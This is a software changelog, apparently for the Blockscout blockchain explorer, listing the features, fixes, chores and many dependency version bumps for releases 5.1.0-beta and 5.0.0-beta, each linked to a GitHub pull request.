+ +## 5.1.0-beta + +### Features + +- [#6871](https://github.com/blockscout/blockscout/pull/6871) - Integrate new smart contract verifier version +- [#6838](https://github.com/blockscout/blockscout/pull/6838) - Disable dark mode env var +- [#6843](https://github.com/blockscout/blockscout/pull/6843) - Add env variable to hide Add to MM button +- [#6744](https://github.com/blockscout/blockscout/pull/6744) - API v2: smart contracts verification +- [#6763](https://github.com/blockscout/blockscout/pull/6763) - Permanent UI dark mode +- [#6721](https://github.com/blockscout/blockscout/pull/6721) - Implement fetching internal transactions from callTracer +- [#6541](https://github.com/blockscout/blockscout/pull/6541) - Integrate sig provider +- [#6712](https://github.com/blockscout/blockscout/pull/6712), [#6798](https://github.com/blockscout/blockscout/pull/6798) - API v2 update +- [#6582](https://github.com/blockscout/blockscout/pull/6582) - Transaction actions indexer +- [#6863](https://github.com/blockscout/blockscout/pull/6863) - Move OnDemand fetchers from indexer supervisor + +### Fixes + +- [#6864](https://github.com/blockscout/blockscout/pull/6864) - Fix pool checker in tx actions fetcher +- [#6860](https://github.com/blockscout/blockscout/pull/6860) - JSON RPC to CSP header +- [#6859](https://github.com/blockscout/blockscout/pull/6859) - Fix task restart in transaction actions fetcher +- [#6840](https://github.com/blockscout/blockscout/pull/6840) - Fix realtime block fetcher +- [#6831](https://github.com/blockscout/blockscout/pull/6831) - Copy of [#6028](https://github.com/blockscout/blockscout/pull/6028) +- [#6832](https://github.com/blockscout/blockscout/pull/6832) - Transaction actions fix +- [#6827](https://github.com/blockscout/blockscout/pull/6827) - Fix handling unknown calls from `callTracer` +- [#6793](https://github.com/blockscout/blockscout/pull/6793) - Change sig-provider default image tag to main +- [#6777](https://github.com/blockscout/blockscout/pull/6777) - Fix -1 transaction counter +- [#6746](https://github.com/blockscout/blockscout/pull/6746) - Fix -1 address counter +- [#6736](https://github.com/blockscout/blockscout/pull/6736) - Fix `/tokens` in old UI +- [#6705](https://github.com/blockscout/blockscout/pull/6705) - Fix `/smart-contracts` bugs in API v2 +- [#6740](https://github.com/blockscout/blockscout/pull/6740) - Fix tokens deadlock +- [#6759](https://github.com/blockscout/blockscout/pull/6759) - Add `jq` in docker image +- [#6779](https://github.com/blockscout/blockscout/pull/6779) - Fix missing ranges bounds clearing +- [#6652](https://github.com/blockscout/blockscout/pull/6652) - Fix geth transaction tracer + +### Chore + +- [#6877](https://github.com/blockscout/blockscout/pull/6877) - Docker-compose: increase default max connections and db pool size +- [#6853](https://github.com/blockscout/blockscout/pull/6853) - Fix 503 page +- [#6845](https://github.com/blockscout/blockscout/pull/6845) - Extract Docker-compose services into separate files +- [#6839](https://github.com/blockscout/blockscout/pull/6839) - Add cache to transaction actions parser +- [#6834](https://github.com/blockscout/blockscout/pull/6834) - Take into account FIRST_BLOCK in "Total blocks" counter on the main page +- [#6340](https://github.com/blockscout/blockscout/pull/6340) - Rollback to websocket_client 1.3.0 +- [#6786](https://github.com/blockscout/blockscout/pull/6786) - Refactor `try rescue` statements to keep stacktrace +- [#6695](https://github.com/blockscout/blockscout/pull/6695) - Process errors and warnings with enables check-js feature in VS code + +
+ Dependencies version bumps + +- [#6703](https://github.com/blockscout/blockscout/pull/6703) - Bump @amplitude/analytics-browser from 1.6.7 to 1.6.8 in /apps/block_scout_web/assets +- [#6716](https://github.com/blockscout/blockscout/pull/6716) - Bump prometheus from 4.9.1 to 4.10.0 +- [#6717](https://github.com/blockscout/blockscout/pull/6717) - Bump briefly from 13a9790 to 20d1318 +- [#6715](https://github.com/blockscout/blockscout/pull/6715) - Bump eslint-plugin-import from 2.26.0 to 2.27.4 in /apps/block_scout_web/assets +- [#6702](https://github.com/blockscout/blockscout/pull/6702) - Bump sweetalert2 from 11.6.16 to 11.7.0 in /apps/block_scout_web/assets +- [#6722](https://github.com/blockscout/blockscout/pull/6722) - Bump eslint from 8.31.0 to 8.32.0 in /apps/block_scout_web/assets +- [#6727](https://github.com/blockscout/blockscout/pull/6727) - Bump eslint-plugin-import from 2.27.4 to 2.27.5 in /apps/block_scout_web/assets +- [#6728](https://github.com/blockscout/blockscout/pull/6728) - Bump ex_cldr_numbers from 2.28.0 to 2.29.0 +- [#6732](https://github.com/blockscout/blockscout/pull/6732) - Bump chart.js from 4.1.2 to 4.2.0 in /apps/block_scout_web/assets +- [#6739](https://github.com/blockscout/blockscout/pull/6739) - Bump core-js from 3.27.1 to 3.27.2 in /apps/block_scout_web/assets +- [#6753](https://github.com/blockscout/blockscout/pull/6753) - Bump gettext from 0.21.0 to 0.22.0 +- [#6754](https://github.com/blockscout/blockscout/pull/6754) - Bump cookiejar from 2.1.3 to 2.1.4 in /apps/block_scout_web/assets +- [#6756](https://github.com/blockscout/blockscout/pull/6756) - Bump jest from 29.3.1 to 29.4.0 in /apps/block_scout_web/assets +- [#6757](https://github.com/blockscout/blockscout/pull/6757) - Bump jest-environment-jsdom from 29.3.1 to 29.4.0 in /apps/block_scout_web/assets +- [#6764](https://github.com/blockscout/blockscout/pull/6764) - Bump sweetalert2 from 11.7.0 to 11.7.1 in /apps/block_scout_web/assets +- [#6770](https://github.com/blockscout/blockscout/pull/6770) - Bump jest-environment-jsdom from 29.4.0 to 29.4.1 in /apps/block_scout_web/assets +- [#6773](https://github.com/blockscout/blockscout/pull/6773) - Bump ex_cldr from 2.34.0 to 2.34.1 +- [#6772](https://github.com/blockscout/blockscout/pull/6772) - Bump jest from 29.4.0 to 29.4.1 in /apps/block_scout_web/assets +- [#6771](https://github.com/blockscout/blockscout/pull/6771) - Bump web3modal from 1.9.11 to 1.9.12 in /apps/block_scout_web/assets +- [#6781](https://github.com/blockscout/blockscout/pull/6781) - Bump cldr_utils from 2.19.2 to 2.20.0 +- [#6789](https://github.com/blockscout/blockscout/pull/6789) - Bump eslint from 8.32.0 to 8.33.0 in /apps/block_scout_web/assets +- [#6790](https://github.com/blockscout/blockscout/pull/6790) - Bump redux from 4.2.0 to 4.2.1 in /apps/block_scout_web/assets +- [#6792](https://github.com/blockscout/blockscout/pull/6792) - Bump cldr_utils from 2.20.0 to 2.21.0 +- [#6788](https://github.com/blockscout/blockscout/pull/6788) - Bump web3 from 1.8.1 to 1.8.2 in /apps/block_scout_web/assets +- [#6802](https://github.com/blockscout/blockscout/pull/6802) - Bump @amplitude/analytics-browser from 1.6.8 to 1.7.0 in /apps/block_scout_web/assets +- [#6803](https://github.com/blockscout/blockscout/pull/6803) - Bump photoswipe from 5.3.4 to 5.3.5 in /apps/block_scout_web/assets +- [#6804](https://github.com/blockscout/blockscout/pull/6804) - Bump sass from 1.57.1 to 1.58.0 in /apps/block_scout_web/assets +- [#6807](https://github.com/blockscout/blockscout/pull/6807) - Bump absinthe from 1.7.0 to 1.7.1 +- [#6806](https://github.com/blockscout/blockscout/pull/6806) - Bump solc from 0.8.16 to 0.8.18 in /apps/explorer +- [#6814](https://github.com/blockscout/blockscout/pull/6814) - Bump @amplitude/analytics-browser from 1.7.0 to 1.7.1 in /apps/block_scout_web/assets +- [#6813](https://github.com/blockscout/blockscout/pull/6813) - Bump chartjs-adapter-luxon from 1.3.0 to 1.3.1 in /apps/block_scout_web/assets +- [#6846](https://github.com/blockscout/blockscout/pull/6846) - Bump jest from 29.4.1 to 29.4.2 in /apps/block_scout_web/assets +- [#6850](https://github.com/blockscout/blockscout/pull/6850) - Bump redix from 1.2.0 to 1.2.1 +- [#6849](https://github.com/blockscout/blockscout/pull/6849) - Bump jest-environment-jsdom from 29.4.1 to 29.4.2 in /apps/block_scout_web/assets +- [#6857](https://github.com/blockscout/blockscout/pull/6857) - Bump @amplitude/analytics-browser from 1.7.1 to 1.8.0 in /apps/block_scout_web/assets +- [#6847](https://github.com/blockscout/blockscout/pull/6847) - Bump @fortawesome/fontawesome-free from 6.2.1 to 6.3.0 in /apps/block_scout_web/assets +- [#6866](https://github.com/blockscout/blockscout/pull/6866) - Bump chart.js from 4.2.0 to 4.2.1 in /apps/block_scout_web/assets + +
+ +## 5.0.0-beta + +### Features + +- [#6092](https://github.com/blockscout/blockscout/pull/6092) - Blockscout Account functionality +- [#6324](https://github.com/blockscout/blockscout/pull/6324) - Add verified contracts list page +- [#6316](https://github.com/blockscout/blockscout/pull/6316) - Public tags functionality +- [#6444](https://github.com/blockscout/blockscout/pull/6444) - Add support for yul verification via rust microservice +- [#6073](https://github.com/blockscout/blockscout/pull/6073) - Add vyper support for rust verifier microservice integration +- [#6401](https://github.com/blockscout/blockscout/pull/6401) - Add Sol2Uml contract visualization +- [#6583](https://github.com/blockscout/blockscout/pull/6583), [#6687](https://github.com/blockscout/blockscout/pull/6687) - Missing ranges collector +- [#6574](https://github.com/blockscout/blockscout/pull/6574), [#6601](https://github.com/blockscout/blockscout/pull/6601) - Allow and manage insecure HTTP connection to the archive node +- [#6433](https://github.com/blockscout/blockscout/pull/6433), [#6698](https://github.com/blockscout/blockscout/pull/6698) - Update error pages +- [#6544](https://github.com/blockscout/blockscout/pull/6544) - API improvements +- [#5561](https://github.com/blockscout/blockscout/pull/5561), [#6523](https://github.com/blockscout/blockscout/pull/6523), [#6549](https://github.com/blockscout/blockscout/pull/6549) - Improve working with contracts implementations +- [#6481](https://github.com/blockscout/blockscout/pull/6481) - Smart contract verification improvements +- [#6440](https://github.com/blockscout/blockscout/pull/6440) - Add support for base64 encoded NFT metadata +- [#6407](https://github.com/blockscout/blockscout/pull/6407) - Indexed ratio for int txs fetching stage +- [#6379](https://github.com/blockscout/blockscout/pull/6379), [#6429](https://github.com/blockscout/blockscout/pull/6429), [#6642](https://github.com/blockscout/blockscout/pull/6642), [#6677](https://github.com/blockscout/blockscout/pull/6677) - API v2 for frontend +- [#6351](https://github.com/blockscout/blockscout/pull/6351) - Enable forum link env var +- [#6196](https://github.com/blockscout/blockscout/pull/6196) - INDEXER_CATCHUP_BLOCKS_BATCH_SIZE and INDEXER_CATCHUP_BLOCKS_CONCURRENCY env variables +- [#6187](https://github.com/blockscout/blockscout/pull/6187) - Filter by created time of verified contracts in listcontracts API endpoint +- [#6111](https://github.com/blockscout/blockscout/pull/6111) - Add Prometheus metrics to indexer +- [#6168](https://github.com/blockscout/blockscout/pull/6168) - Token instance fetcher checks instance owner and updates current token balance +- [#6209](https://github.com/blockscout/blockscout/pull/6209) - Add metrics for block import stages, runners, steps +- [#6257](https://github.com/blockscout/blockscout/pull/6257), [#6276](https://github.com/blockscout/blockscout/pull/6276) - DISABLE_TOKEN_INSTANCE_FETCHER env variable +- [#6391](https://github.com/blockscout/blockscout/pull/6391), [#6427](https://github.com/blockscout/blockscout/pull/6427) - TokenTransfer token_id -> token_ids migration +- [#6443](https://github.com/blockscout/blockscout/pull/6443) - Drop internal transactions order index +- [#6450](https://github.com/blockscout/blockscout/pull/6450) - INDEXER_INTERNAL_TRANSACTIONS_BATCH_SIZE and INDEXER_INTERNAL_TRANSACTIONS_CONCURRENCY env variables +- [#6454](https://github.com/blockscout/blockscout/pull/6454) - INDEXER_RECEIPTS_BATCH_SIZE, INDEXER_RECEIPTS_CONCURRENCY, INDEXER_COIN_BALANCES_BATCH_SIZE, INDEXER_COIN_BALANCES_CONCURRENCY env variables +- [#6476](https://github.com/blockscout/blockscout/pull/6476), [#6484](https://github.com/blockscout/blockscout/pull/6484) - Update token balances indexes +- [#6510](https://github.com/blockscout/blockscout/pull/6510) - Set consensus: false for blocks on int transaction foreign_key_violation +- [#6565](https://github.com/blockscout/blockscout/pull/6565) - Set restart: :permanent for permanent fetchers +- [#6568](https://github.com/blockscout/blockscout/pull/6568) - Drop unfetched_token_balances index +- [#6647](https://github.com/blockscout/blockscout/pull/6647) - Pending block operations update +- [#6542](https://github.com/blockscout/blockscout/pull/6542) - Init mixpanel and amplitude analytics +- [#6713](https://github.com/blockscout/blockscout/pull/6713) - Remove internal transactions deletion + +### Fixes + +- [#6676](https://github.com/blockscout/blockscout/pull/6676) - Fix `/smart-contracts` bugs in API v2 +- [#6603](https://github.com/blockscout/blockscout/pull/6603) - Add to MM button explorer URL fix +- [#6512](https://github.com/blockscout/blockscout/pull/6512) - Allow gasUsed in failed internal txs; Leave error field for staticcall +- [#6532](https://github.com/blockscout/blockscout/pull/6532) - Fix index creation migration +- [#6473](https://github.com/blockscout/blockscout/pull/6473) - Fix state changes for contract creation transactions +- [#6475](https://github.com/blockscout/blockscout/pull/6475) - Fix token name with unicode graphemes shortening +- [#6420](https://github.com/blockscout/blockscout/pull/6420) - Fix address logs search +- [#6390](https://github.com/blockscout/blockscout/pull/6390), [#6502](https://github.com/blockscout/blockscout/pull/6502), [#6511](https://github.com/blockscout/blockscout/pull/6511) - Fix transactions responses in API v2 +- [#6357](https://github.com/blockscout/blockscout/pull/6357), [#6409](https://github.com/blockscout/blockscout/pull/6409), [#6428](https://github.com/blockscout/blockscout/pull/6428) - Fix definitions of NETWORK_PATH, API_PATH, SOCKET_ROOT: process trailing slash +- [#6338](https://github.com/blockscout/blockscout/pull/6338) - Fix token search with space +- [#6329](https://github.com/blockscout/blockscout/pull/6329) - Prevent logger from truncating response from rust verifier service in case of an error +- [#6309](https://github.com/blockscout/blockscout/pull/6309) - Fix read contract bug and change address tx count +- [#6303](https://github.com/blockscout/blockscout/pull/6303) - Fix some UI bugs +- [#6243](https://github.com/blockscout/blockscout/pull/6243) - Fix freezes on `/blocks` page +- [#6162](https://github.com/blockscout/blockscout/pull/6162) - Extend token symbol type varchar(255) -> text +- [#6158](https://github.com/blockscout/blockscout/pull/6158) - Add missing clause for merge_twin_vyper_contract_with_changeset function +- [#6090](https://github.com/blockscout/blockscout/pull/6090) - Fix metadata fetching for ERC-1155 tokens instances +- [#6091](https://github.com/blockscout/blockscout/pull/6091) - Improve fetching media type for NFT +- [#6094](https://github.com/blockscout/blockscout/pull/6094) - Fix inconsistent behavior of `getsourcecode` method +- [#6105](https://github.com/blockscout/blockscout/pull/6105) - Fix some token transfers broadcasting +- [#6106](https://github.com/blockscout/blockscout/pull/6106) - Fix 500 response on `/coin-balance` for empty address +- [#6118](https://github.com/blockscout/blockscout/pull/6118) - Fix unfetched token balances +- [#6163](https://github.com/blockscout/blockscout/pull/6163) - Fix rate limit logs +- [#6223](https://github.com/blockscout/blockscout/pull/6223) - Fix coin_id test +- [#6336](https://github.com/blockscout/blockscout/pull/6336) - Fix sending request on each key in token search +- [#6327](https://github.com/blockscout/blockscout/pull/6327) - Fix and refactor address logs page and search +- [#6449](https://github.com/blockscout/blockscout/pull/6449) - Search min_missing_block_number from zero +- [#6492](https://github.com/blockscout/blockscout/pull/6492) - Remove token instance owner fetching +- [#6536](https://github.com/blockscout/blockscout/pull/6536) - Fix internal transactions query +- [#6550](https://github.com/blockscout/blockscout/pull/6550) - Query token transfers before updating +- [#6599](https://github.com/blockscout/blockscout/pull/6599) - unhandled division by zero +- [#6590](https://github.com/blockscout/blockscout/pull/6590) - ignore some receipt fields for metis + +### Chore + +- [#6607](https://github.com/blockscout/blockscout/pull/6607) - Run e2e tests after PR review +- [#6606](https://github.com/blockscout/blockscout/pull/6606) - Add ARG SESSION_COOKIE_DOMAIN to Dockerfile +- [#6600](https://github.com/blockscout/blockscout/pull/6600) - Token stub icon +- [#6588](https://github.com/blockscout/blockscout/pull/6588) - Add latest image build for frontend-main with specific build-args +- [#6584](https://github.com/blockscout/blockscout/pull/6584) - Vacuum package-lock.json +- [#6581](https://github.com/blockscout/blockscout/pull/6581) - Dark mode switcher localStorage to cookie in order to support new UI +- [#6572](https://github.com/blockscout/blockscout/pull/6572) - pending_block_operations table: remove fetch_internal_transactions column +- [#6387](https://github.com/blockscout/blockscout/pull/6387) - Fix errors in docker-build and e2e-tests workflows +- [#6325](https://github.com/blockscout/blockscout/pull/6325) - Set http_only attribute of account authorization cookie to false +- [#6343](https://github.com/blockscout/blockscout/pull/6343) - Docker-compose persistent logs +- [#6240](https://github.com/blockscout/blockscout/pull/6240) - Elixir 1.14 support +- [#6204](https://github.com/blockscout/blockscout/pull/6204) - Refactor contract libs render, CONTRACT_VERIFICATION_MAX_LIBRARIES, refactor parsing integer env vars in config +- [#6195](https://github.com/blockscout/blockscout/pull/6195) - Docker compose configs improvements: Redis container name and persistent storage +- [#6192](https://github.com/blockscout/blockscout/pull/6192), [#6207](https://github.com/blockscout/blockscout/pull/6207) - Hide Indexing Internal Transactions message, if INDEXER_DISABLE_INTERNAL_TRANSACTIONS_FETCHER=true +- [#6183](https://github.com/blockscout/blockscout/pull/6183) - Transparent coin name definition +- [#6155](https://github.com/blockscout/blockscout/pull/6155), [#6189](https://github.com/blockscout/blockscout/pull/6189) - Refactor Ethereum JSON RPC variants +- [#6125](https://github.com/blockscout/blockscout/pull/6125) - Rename obsolete "parity" EthereumJSONRPC.Variant to "nethermind" +- [#6124](https://github.com/blockscout/blockscout/pull/6124) - Docker compose: add config for Erigon +- [#6061](https://github.com/blockscout/blockscout/pull/6061) - Discord badge and updated permalink + +
+ Dependencies version bumps + +- [#6585](https://github.com/blockscout/blockscout/pull/6585) - Bump jquery from 3.6.1 to 3.6.2 in /apps/block_scout_web/assets +- [#6610](https://github.com/blockscout/blockscout/pull/6610) - Bump tesla from 1.4.4 to 1.5.0 +- [#6611](https://github.com/blockscout/blockscout/pull/6611) - Bump chart.js from 4.0.1 to 4.1.0 in /apps/block_scout_web/assets +- [#6618](https://github.com/blockscout/blockscout/pull/6618) - Bump chart.js from 4.1.0 to 4.1.1 in /apps/block_scout_web/assets +- [#6619](https://github.com/blockscout/blockscout/pull/6619) - Bump eslint from 8.29.0 to 8.30.0 in /apps/block_scout_web/assets +- [#6620](https://github.com/blockscout/blockscout/pull/6620) - Bump sass from 1.56.2 to 1.57.0 in /apps/block_scout_web/assets +- [#6626](https://github.com/blockscout/blockscout/pull/6626) - Bump @amplitude/analytics-browser from 1.6.1 to 1.6.6 in /apps/block_scout_web/assets +- [#6627](https://github.com/blockscout/blockscout/pull/6627) - Bump sass from 1.57.0 to 1.57.1 in /apps/block_scout_web/assets +- [#6628](https://github.com/blockscout/blockscout/pull/6628) - Bump sweetalert2 from 11.6.15 to 11.6.16 in /apps/block_scout_web/assets +- [#6631](https://github.com/blockscout/blockscout/pull/6631) - Bump jquery from 3.6.2 to 3.6.3 in /apps/block_scout_web/assets +- [#6633](https://github.com/blockscout/blockscout/pull/6633) - Bump ecto_sql from 3.9.1 to 3.9.2 +- [#6636](https://github.com/blockscout/blockscout/pull/6636) - Bump ecto from 3.9.3 to 3.9.4 +- [#6639](https://github.com/blockscout/blockscout/pull/6639) - Bump @amplitude/analytics-browser from 1.6.6 to 1.6.7 in /apps/block_scout_web/assets +- [#6640](https://github.com/blockscout/blockscout/pull/6640) - Bump @babel/core from 7.20.5 to 7.20.7 in /apps/block_scout_web/assets +- [#6653](https://github.com/blockscout/blockscout/pull/6653) - Bump luxon from 3.1.1 to 3.2.0 in /apps/block_scout_web/assets +- [#6654](https://github.com/blockscout/blockscout/pull/6654) - Bump flow from 1.2.0 to 1.2.1 +- [#6669](https://github.com/blockscout/blockscout/pull/6669) - Bump @babel/core from 7.20.7 to 7.20.12 in /apps/block_scout_web/assets +- [#6663](https://github.com/blockscout/blockscout/pull/6663) - Bump eslint from 8.30.0 to 8.31.0 in /apps/block_scout_web/assets +- [#6662](https://github.com/blockscout/blockscout/pull/6662) - Bump viewerjs from 1.11.1 to 1.11.2 in /apps/block_scout_web/assets +- [#6668](https://github.com/blockscout/blockscout/pull/6668) - Bump babel-loader from 9.1.0 to 9.1.2 in /apps/block_scout_web/assets +- [#6670](https://github.com/blockscout/blockscout/pull/6670) - Bump json5 from 1.0.1 to 1.0.2 in /apps/block_scout_web/assets +- [#6673](https://github.com/blockscout/blockscout/pull/6673) - Bump chart.js from 4.1.1 to 4.1.2 in /apps/block_scout_web/assets +- [#6674](https://github.com/blockscout/blockscout/pull/6674) - Bump luxon from 3.2.0 to 3.2.1 in /apps/block_scout_web/assets +- [#6675](https://github.com/blockscout/blockscout/pull/6675) - Bump web3modal from 1.9.10 to 1.9.11 in /apps/block_scout_web/assets +- [#6679](https://github.com/blockscout/blockscout/pull/6679) - Bump gettext from 0.20.0 to 0.21.0 +- [#6680](https://github.com/blockscout/blockscout/pull/6680) - Bump flow from 1.2.1 to 1.2.2 +- [#6689](https://github.com/blockscout/blockscout/pull/6689) - Bump postcss from 8.4.20 to 8.4.21 in /apps/block_scout_web/assets +- [#6690](https://github.com/blockscout/blockscout/pull/6690) - Bump bamboo from 2.2.0 to 2.3.0 +- [#6691](https://github.com/blockscout/blockscout/pull/6691) - Bump flow from 1.2.2 to 1.2.3 +- [#6696](https://github.com/blockscout/blockscout/pull/6696) - Bump briefly from 1dd66ee to 13a9790 +- [#6697](https://github.com/blockscout/blockscout/pull/6697) - Bump mime from 1.6.0 to 2.0.3 +- [#6053](https://github.com/blockscout/blockscout/pull/6053) - Bump jest-environment-jsdom from 29.0.1 to 29.0.2 in /apps/block_scout_web/assets +- [#6055](https://github.com/blockscout/blockscout/pull/6055) - Bump @babel/core from 7.18.13 to 7.19.0 in /apps/block_scout_web/assets +- [#6054](https://github.com/blockscout/blockscout/pull/6054) - Bump jest from 29.0.1 to 29.0.2 in /apps/block_scout_web/assets +- [#6056](https://github.com/blockscout/blockscout/pull/6056) - Bump @babel/preset-env from 7.18.10 to 7.19.0 in /apps/block_scout_web/assets +- [#6064](https://github.com/blockscout/blockscout/pull/6064) - Bump sweetalert2 from 11.4.29 to 11.4.31 in /apps/block_scout_web/assets +- [#6075](https://github.com/blockscout/blockscout/pull/6075) - Bump sweetalert2 from 11.4.31 to 11.4.32 in /apps/block_scout_web/assets +- [#6082](https://github.com/blockscout/blockscout/pull/6082) - Bump core-js from 3.25.0 to 3.25.1 in /apps/block_scout_web/assets +- [#6083](https://github.com/blockscout/blockscout/pull/6083) - Bump sass from 1.54.8 to 1.54.9 in /apps/block_scout_web/assets +- [#6095](https://github.com/blockscout/blockscout/pull/6095) - Bump jest-environment-jsdom from 29.0.2 to 29.0.3 in /apps/block_scout_web/assets +- [#6096](https://github.com/blockscout/blockscout/pull/6096) - Bump exvcr from 0.13.3 to 0.13.4 +- [#6101](https://github.com/blockscout/blockscout/pull/6101) - Bump ueberauth from 0.10.1 to 0.10.2 +- [#6102](https://github.com/blockscout/blockscout/pull/6102) - Bump eslint from 8.23.0 to 8.23.1 in /apps/block_scout_web/assets +- [#6098](https://github.com/blockscout/blockscout/pull/6098) - Bump ex_json_schema from 0.9.1 to 0.9.2 +- [#6097](https://github.com/blockscout/blockscout/pull/6097) - Bump autoprefixer from 10.4.8 to 10.4.9 in /apps/block_scout_web/assets +- [#6099](https://github.com/blockscout/blockscout/pull/6099) - Bump jest from 29.0.2 to 29.0.3 in /apps/block_scout_web/assets +- [#6103](https://github.com/blockscout/blockscout/pull/6103) - Bump css-minimizer-webpack-plugin from 4.0.0 to 4.1.0 in /apps/block_scout_web/assets +- [#6108](https://github.com/blockscout/blockscout/pull/6108) - Bump autoprefixer from 10.4.9 to 10.4.10 in /apps/block_scout_web/assets +- [#6116](https://github.com/blockscout/blockscout/pull/6116) - Bump autoprefixer from 10.4.10 to 10.4.11 in /apps/block_scout_web/assets +- [#6114](https://github.com/blockscout/blockscout/pull/6114) - Bump @babel/core from 7.19.0 to 7.19.1 in /apps/block_scout_web/assets +- [#6113](https://github.com/blockscout/blockscout/pull/6113) - Bump ueberauth from 0.10.2 to 0.10.3 +- [#6112](https://github.com/blockscout/blockscout/pull/6112) - Bump @babel/preset-env from 7.19.0 to 7.19.1 in /apps/block_scout_web/assets +- [#6115](https://github.com/blockscout/blockscout/pull/6115) - Bump web3 from 1.7.5 to 1.8.0 in /apps/block_scout_web/assets +- [#6117](https://github.com/blockscout/blockscout/pull/6117) - Bump sweetalert2 from 11.4.32 to 11.4.33 in /apps/block_scout_web/assets +- [#6119](https://github.com/blockscout/blockscout/pull/6119) - Bump scss-tokenizer from 0.3.0 to 0.4.3 in /apps/block_scout_web/assets +- [#6138](https://github.com/blockscout/blockscout/pull/6138) - Bump core-js from 3.25.1 to 3.25.2 in /apps/block_scout_web/assets +- [#6147](https://github.com/blockscout/blockscout/pull/6147) - Bump autoprefixer from 10.4.11 to 10.4.12 in /apps/block_scout_web/assets +- [#6151](https://github.com/blockscout/blockscout/pull/6151) - Bump sass from 1.54.9 to 1.55.0 in /apps/block_scout_web/assets +- [#6173](https://github.com/blockscout/blockscout/pull/6173) - Bump core-js from 3.25.2 to 3.25.3 in /apps/block_scout_web/assets +- [#6174](https://github.com/blockscout/blockscout/pull/6174) - Bump sweetalert2 from 11.4.33 to 11.4.34 in /apps/block_scout_web/assets +- [#6175](https://github.com/blockscout/blockscout/pull/6175) - Bump luxon from 3.0.3 to 3.0.4 in /apps/block_scout_web/assets +- [#6176](https://github.com/blockscout/blockscout/pull/6176) - Bump @babel/preset-env from 7.19.1 to 7.19.3 in /apps/block_scout_web/assets +- [#6177](https://github.com/blockscout/blockscout/pull/6177) - Bump @babel/core from 7.19.1 to 7.19.3 in /apps/block_scout_web/assets +- [#6178](https://github.com/blockscout/blockscout/pull/6178) - Bump eslint from 8.23.1 to 8.24.0 in /apps/block_scout_web/assets +- [#6184](https://github.com/blockscout/blockscout/pull/6184) - Bump jest from 29.0.3 to 29.1.1 in /apps/block_scout_web/assets +- [#6186](https://github.com/blockscout/blockscout/pull/6186) - Bump jest-environment-jsdom from 29.0.3 to 29.1.1 in /apps/block_scout_web/assets +- [#6185](https://github.com/blockscout/blockscout/pull/6185) - Bump sweetalert2 from 11.4.34 to 11.4.35 in /apps/block_scout_web/assets +- [#6146](https://github.com/blockscout/blockscout/pull/6146) - Bump websocket_client from 1.3.0 to 1.5.0 +- [#6191](https://github.com/blockscout/blockscout/pull/6191) - Bump css-minimizer-webpack-plugin from 4.1.0 to 4.2.0 in /apps/block_scout_web/assets +- [#6199](https://github.com/blockscout/blockscout/pull/6199) - Bump redix from 1.1.5 to 1.2.0 +- [#6213](https://github.com/blockscout/blockscout/pull/6213) - Bump sweetalert2 from 11.4.35 to 11.4.37 in /apps/block_scout_web/assets +- [#6214](https://github.com/blockscout/blockscout/pull/6214) - Bump jest-environment-jsdom from 29.1.1 to 29.1.2 in /apps/block_scout_web/assets +- [#6215](https://github.com/blockscout/blockscout/pull/6215) - Bump postcss from 8.4.16 to 8.4.17 in /apps/block_scout_web/assets +- [#6216](https://github.com/blockscout/blockscout/pull/6216) - Bump core-js from 3.25.3 to 3.25.5 in /apps/block_scout_web/assets +- [#6217](https://github.com/blockscout/blockscout/pull/6217) - Bump jest from 29.1.1 to 29.1.2 in /apps/block_scout_web/assets +- [#6229](https://github.com/blockscout/blockscout/pull/6229) - Bump sweetalert2 from 11.4.37 to 11.4.38 in /apps/block_scout_web/assets +- [#6232](https://github.com/blockscout/blockscout/pull/6232) - Bump css-minimizer-webpack-plugin from 4.2.0 to 4.2.1 in /apps/block_scout_web/assets +- [#6230](https://github.com/blockscout/blockscout/pull/6230) - Bump sass-loader from 13.0.2 to 13.1.0 in /apps/block_scout_web/assets +- [#6251](https://github.com/blockscout/blockscout/pull/6251) - Bump sweetalert2 from 11.4.38 to 11.5.1 in /apps/block_scout_web/assets +- [#6246](https://github.com/blockscout/blockscout/pull/6246) - Bump @babel/preset-env from 7.19.3 to 7.19.4 in /apps/block_scout_web/assets +- [#6247](https://github.com/blockscout/blockscout/pull/6247) - Bump ex_abi from 0.5.14 to 0.5.15 +- [#6248](https://github.com/blockscout/blockscout/pull/6248) - Bump eslint from 8.24.0 to 8.25.0 in /apps/block_scout_web/assets +- [#6255](https://github.com/blockscout/blockscout/pull/6255) - Bump postcss from 8.4.17 to 8.4.18 in /apps/block_scout_web/assets +- [#6256](https://github.com/blockscout/blockscout/pull/6256) - Bump css-minimizer-webpack-plugin from 4.2.1 to 4.2.2 in /apps/block_scout_web/assets +- [#6258](https://github.com/blockscout/blockscout/pull/6258) - Bump jest from 29.1.2 to 29.2.0 in /apps/block_scout_web/assets +- [#6259](https://github.com/blockscout/blockscout/pull/6259) - Bump jest-environment-jsdom from 29.1.2 to 29.2.0 in /apps/block_scout_web/assets +- [#6253](https://github.com/blockscout/blockscout/pull/6253) - Bump eslint-plugin-promise from 6.0.1 to 6.1.0 in /apps/block_scout_web/assets +- [#6279](https://github.com/blockscout/blockscout/pull/6279) - Bump util from 0.12.4 to 0.12.5 in /apps/block_scout_web/assets +- [#6280](https://github.com/blockscout/blockscout/pull/6280) - Bump ex_rlp from 0.5.4 to 0.5.5 +- [#6281](https://github.com/blockscout/blockscout/pull/6281) - Bump ex_abi from 0.5.15 to 0.5.16 +- [#6283](https://github.com/blockscout/blockscout/pull/6283) - Bump spandex_datadog from 1.2.0 to 1.3.0 +- [#6282](https://github.com/blockscout/blockscout/pull/6282) - Bump sweetalert2 from 11.5.1 to 11.5.2 in /apps/block_scout_web/assets +- [#6284](https://github.com/blockscout/blockscout/pull/6284) - Bump spandex_phoenix from 1.0.6 to 1.1.0 +- [#6298](https://github.com/blockscout/blockscout/pull/6298) - Bump jest-environment-jsdom from 29.2.0 to 29.2.1 in /apps/block_scout_web/assets +- [#6297](https://github.com/blockscout/blockscout/pull/6297) - Bump jest from 29.2.0 to 29.2.1 in /apps/block_scout_web/assets +- [#6254](https://github.com/blockscout/blockscout/pull/6254) - Bump ex_doc from 0.28.5 to 0.28.6 +- [#6314](https://github.com/blockscout/blockscout/pull/6314) - Bump @babel/core from 7.19.3 to 7.19.6 in /apps/block_scout_web/assets +- [#6313](https://github.com/blockscout/blockscout/pull/6313) - Bump ex_doc from 0.28.6 to 0.29.0 +- [#6305](https://github.com/blockscout/blockscout/pull/6305) - Bump sweetalert2 from 11.5.2 to 11.6.0 in /apps/block_scout_web/assets +- [#6312](https://github.com/blockscout/blockscout/pull/6312) - Bump eslint-plugin-promise from 6.1.0 